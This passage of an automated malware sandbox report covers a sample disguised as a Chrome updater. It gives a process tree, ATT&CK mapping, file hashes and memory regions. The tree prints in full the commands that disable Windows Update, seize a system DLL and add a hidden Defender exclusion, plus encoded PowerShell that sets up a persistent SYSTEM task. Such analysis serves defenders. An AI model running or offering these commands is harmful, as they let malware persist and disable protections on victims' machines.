"\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:32

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:2588

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:3536

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:3904

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:2768

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:1340

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:2736

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:3892

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:372

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:2608

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:500

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:644

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3228

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:3296

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1104

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:3808

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1988

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:212

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:2168

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:3104

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:2176

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1132

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:3916

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:4000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:2340

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2284

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1828

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:700

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AdwBtAG0AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABFAEEAWQBnAEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBiAFEAQgB6AEEAQwBNAEEAUABnAEEAPQAiACcAKQAgADwAIwBvAGoAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBuAGkAZwBkACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAcAB5ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAIAAtAFUAcwBlAHIAIAAnAFMAeQBzAHQAZQBtACcAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAZQB4AHMAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAA1ADgAZQA4ADAAMQBkAGYAZABhAGEANwA1AGUAZgA5ADcANwBmAGUAYQAwADEAYQAyADAAMABmADkAMABlADcAMgAwADIANAAwADYAOAAzADMAYQAxAGUAMgBjADAANgBlAGIAZQAxADUAYQA5ADkAYQA3ADIAYwAzADgAOQA1AC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAeABqAGQAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAbABvACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="
3⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHEAYgAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAbQBzACMAPgA="
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3172

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:436

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAYQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAZABqAHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAeQAjAD4A"
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:160

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:2932

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:316

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:1812

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:2588

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:744

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:3416

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
5⤵
- Modifies registry key
PID:1028

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
5⤵
- Modifies registry key
PID:1348

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
5⤵
- Modifies registry key
PID:4000

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2768

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:420

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
5⤵
- Modifies registry key
PID:2024

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
5⤵
- Modifies registry key
PID:1164

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:660

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:624

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
5⤵
PID:3296

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
5⤵
PID:1988

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
5⤵
PID:2212

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1424

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:3536

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
5⤵
PID:4084

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:3144

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
5⤵
PID:2752

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:1096

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
PID:2316

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
PID:3176

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
PID:1676

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
PID:516

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
PID:2608

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "bmkeytcye"
4⤵
PID:4068

C:\Windows\explorer.exe
C:\Windows\explorer.exe sosudejrcxm1 GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqN5dCL6SdfpGQxdbsBsqueaxRnQzTx2Bqmg+8Hm/cXMESqb4c3Os26fGj23Hqsnl0qmcpNr8N8RD0Uj65Is/XzsC3UFIPpYz7Zp9mKjXqYW+xHlpEMJ8pitovpD3AlrEcYhafjTHJIBsyQCmYqS8DwlNaC3+8ctTQ5gWGWPwhQ4m7w5ntgK8u6m/StfnNPDdr+VwS4s25pICn3Q/Dq0WEk/j+SBlrEi93dXqUBShtLfUbnT4w5YQhLxDVbXc7xoFDIPd01rv+1vwAaan4sl2k1YkrvCpkMy2cu5BYO8sYd8sc8dLcQPq/swWuhKRRVQuprYmKwuUqhwRP67Zf25Cl8dyBC4RhMJQS3ZIS6W4m7i7iEJ7cohkojQOsRFzNMr56
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
2144e985a1fb8a18636dee1b1fcf096f

SHA1
fac93e4f151a3be8d9b0b6c9d50a31ba9a3e231a

SHA256
58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895

SHA512
48d3b4b8a95bd4a4bc1405284db373a5acdfe30de15b0641aeef359c06a359dc1344cb8bb1fb63ee35bc38e3eae3fb88eed2128d66d52e9153e1d940be54476c

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
2144e985a1fb8a18636dee1b1fcf096f

SHA1
fac93e4f151a3be8d9b0b6c9d50a31ba9a3e231a

SHA256
58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895

SHA512
48d3b4b8a95bd4a4bc1405284db373a5acdfe30de15b0641aeef359c06a359dc1344cb8bb1fb63ee35bc38e3eae3fb88eed2128d66d52e9153e1d940be54476c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
30f717dc0bedf29aa9b998e86d76a6bd

SHA1
77f21064eda23e6a8e98c5d0b2a35e0cb854181d

SHA256
3e27184b2d400bbd8bc1baf257b372beb02cc42ec1d5d3a27c6fabbbd759ccf1

SHA512
1909606e1b3ddd3adc1671cc28ffddc16da27b17378db508967558b66724c82d1b08409d2e334d85e846c01caff29a9dcbbb2022efa34f967c3e2af70d41d77e

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
17286868c0a043ae5d2ff5798b6a3163

SHA1
b83b23cd57c7fb2c937f5bc18aeb7ddc955b5401

SHA256
40321e18ed0b9eb7e3bc937d3e207ea2039ff45267483ddb4a51f7974475dac6

SHA512
e15c11982c0569a389a7dbd0889edd1ef9a8ffb21c0e8ffadebc10e1353f4485524b18ca8e041c66c98d05fb984544da122755e6c2a25728453aeaf4175bdee1

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d0bcbadb3ebcd041605f37019119c0b6

SHA1
36b16a2b0e025d40ec5a783cf78ad2ff7c38f288

SHA256
20e15db7d6cf2bca7a2922cc9c4939e643b82beb7378adab586910ceed994a8b

SHA512
f4fc3762d7d6ffbe10838458d13d6ff3aaa5fdc18e72ecd30697c76c83733d526eb868aa014e404861a6bf8b6881e3cda232f84444b5ba354a390fd87ea3f43a

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
c5227366b7a688ff23b01788718251aa

SHA1
9795262e79c832ba49c744fcd1b1794c0ffb5c6a

SHA256
789abfd744b03d07fac02be7177c535989ea9e92b9db32fb1360cdfd083a1f48

SHA512
8b9560fa2265f74aec7bb7b96e5a7dba789edc4166e58af9994a1ee95fa42b22a7539be804f4fcf3d5a9e657be020087a343b030fee6aaddbb67b1134810cfbe

Download Submit
memory/32-175-0x0000000000000000-mapping.dmp

Download
memory/160-303-0x00000193B4CF0000-0x00000193B4DA9000-memory.dmp

Filesize
740KB

Download
memory/160-297-0x00000193B4B20000-0x00000193B4B3C000-memory.dmp

Filesize
112KB

Download
memory/160-279-0x0000000000000000-mapping.dmp

Download
memory/160-336-0x00000193B4B40000-0x00000193B4B4A000-memory.dmp

Filesize
40KB

Download
memory/212-230-0x0000000000000000-mapping.dmp

Download
memory/316-430-0x0000000000000000-mapping.dmp

Download
memory/372-188-0x0000000000000000-mapping.dmp

Download
memory/420-461-0x0000000000000000-mapping.dmp

Download
memory/436-272-0x0000000000400000-0x0000000001066000-memory.dmp

Filesize
12.4MB

Download
memory/436-261-0x0000000000000000-mapping.dmp

Download
memory/436-264-0x0000000000400000-0x0000000001066000-memory.dmp

Filesize
12.4MB

Download
memory/436-265-0x00007FFEAC7F0000-0x00007FFEAC9CB000-memory.dmp

Filesize
1.9MB

Download
memory/436-266-0x0000000000400000-0x0000000001066000-memory.dmp

Filesize
12.4MB

Download
memory/436-274-0x00007FFEAC7F0000-0x00007FFEAC9CB000-memory.dmp

Filesize
1.9MB

Download
memory/500-190-0x0000000000000000-mapping.dmp

Download
memory/516-446-0x0000000000000000-mapping.dmp

Download
memory/624-464-0x0000000000000000-mapping.dmp

Download
memory/644-191-0x0000000000000000-mapping.dmp

Download
memory/660-463-0x0000000000000000-mapping.dmp

Download
memory/700-181-0x0000000000000000-mapping.dmp

Download
memory/744-444-0x0000000000000000-mapping.dmp

Download
memory/1028-456-0x0000000000000000-mapping.dmp

Download
memory/1096-473-0x0000000000000000-mapping.dmp

Download
memory/1104-227-0x0000000000000000-mapping.dmp

Download
memory/1132-240-0x0000000000000000-mapping.dmp

Download
memory/1164-457-0x0000000000000000-mapping.dmp

Download
memory/1340-185-0x0000000000000000-mapping.dmp

Download
memory/1348-459-0x0000000000000000-mapping.dmp

Download
memory/1424-466-0x0000000000000000-mapping.dmp

Download
memory/1676-435-0x0000000000000000-mapping.dmp

Download
memory/1812-431-0x0000000000000000-mapping.dmp

Download
memory/1828-179-0x0000000000000000-mapping.dmp

Download
memory/1988-229-0x0000000000000000-mapping.dmp

Download
memory/1988-468-0x0000000000000000-mapping.dmp

Download
memory/2024-458-0x0000000000000000-mapping.dmp

Download
memory/2168-231-0x0000000000000000-mapping.dmp

Download
memory/2176-238-0x0000000000000000-mapping.dmp

Download
memory/2212-469-0x0000000000000000-mapping.dmp

Download
memory/2284-178-0x0000000000000000-mapping.dmp

Download
memory/2316-428-0x0000000000000000-mapping.dmp

Download
memory/2340-176-0x0000000000000000-mapping.dmp

Download
memory/2588-433-0x0000000000000000-mapping.dmp

Download
memory/2588-177-0x0000000000000000-mapping.dmp

Download
memory/2608-455-0x0000000000000000-mapping.dmp

Download
memory/2608-189-0x0000000000000000-mapping.dmp

Download
memory/2736-186-0x0000000000000000-mapping.dmp

Download
memory/2752-471-0x0000000000000000-mapping.dmp

Download
memory/2768-184-0x0000000000000000-mapping.dmp

Download
memory/2768-462-0x0000000000000000-mapping.dmp

Download
memory/2868-126-0x0000015CE3A10000-0x0000015CE3E2E000-memory.dmp

Filesize
4.1MB

Download
memory/2868-452-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2868-449-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2868-451-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2868-453-0x0000000000BC0000-0x0000000000BE0000-memory.dmp

Filesize
128KB

Download
memory/2868-450-0x000000014036EAC4-mapping.dmp

Download
memory/2868-127-0x0000015CFEA40000-0x0000015CFEE5E000-memory.dmp

Filesize
4.1MB

Download
memory/2868-474-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2868-475-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2932-427-0x0000000000000000-mapping.dmp

Download
memory/3104-236-0x0000000000000000-mapping.dmp

Download
memory/3144-472-0x0000000000000000-mapping.dmp

Download
memory/3152-436-0x0000013C29220000-0x0000013C29232000-memory.dmp

Filesize
72KB

Download
memory/3152-434-0x0000013C106A0000-0x0000013C106A6000-memory.dmp

Filesize
24KB

Download
memory/3160-123-0x0000000000400000-0x0000000001066000-memory.dmp

Filesize
12.4MB

Download
memory/3160-118-0x0000000000400000-0x0000000001066000-memory.dmp

Filesize
12.4MB

Download
memory/3160-117-0x0000000000400000-0x0000000001066000-memory.dmp

Filesize
12.4MB

Download
memory/3160-125-0x00007FFEAC7F0000-0x00007FFEAC9CB000-memory.dmp

Filesize
1.9MB

Download
memory/3160-119-0x00007FFEAC7F0000-0x00007FFEAC9CB000-memory.dmp

Filesize
1.9MB

Download
memory/3168-193-0x0000000000000000-mapping.dmp

Download
memory/3176-432-0x0000000000000000-mapping.dmp

Download
memory/3228-192-0x0000000000000000-mapping.dmp

Download
memory/3296-222-0x0000000000000000-mapping.dmp

Download
memory/3296-467-0x0000000000000000-mapping.dmp

Download
memory/3416-448-0x0000000000000000-mapping.dmp

Download
memory/3448-134-0x0000000000000000-mapping.dmp

Download
memory/3448-140-0x00000269723A0000-0x00000269723C2000-memory.dmp

Filesize
136KB

Download
memory/3448-143-0x0000026972550000-0x00000269725C6000-memory.dmp

Filesize
472KB

Download
memory/3536-180-0x0000000000000000-mapping.dmp

Download
memory/3536-465-0x0000000000000000-mapping.dmp

Download
memory/3808-228-0x0000000000000000-mapping.dmp

Download
memory/3892-187-0x0000000000000000-mapping.dmp

Download
memory/3904-182-0x0000000000000000-mapping.dmp

Download
memory/3916-241-0x0000000000000000-mapping.dmp

Download
memory/4000-183-0x0000000000000000-mapping.dmp

Download
memory/4000-242-0x0000000000000000-mapping.dmp

Download
memory/4000-460-0x0000000000000000-mapping.dmp

Download
memory/4068-441-0x000001FC68310000-0x000001FC68316000-memory.dmp

Filesize
24KB

Download
memory/4068-447-0x000001FC67BF0000-0x000001FC67BF7000-memory.dmp

Filesize
28KB

Download
memory/4084-470-0x0000000000000000-mapping.dmp

Download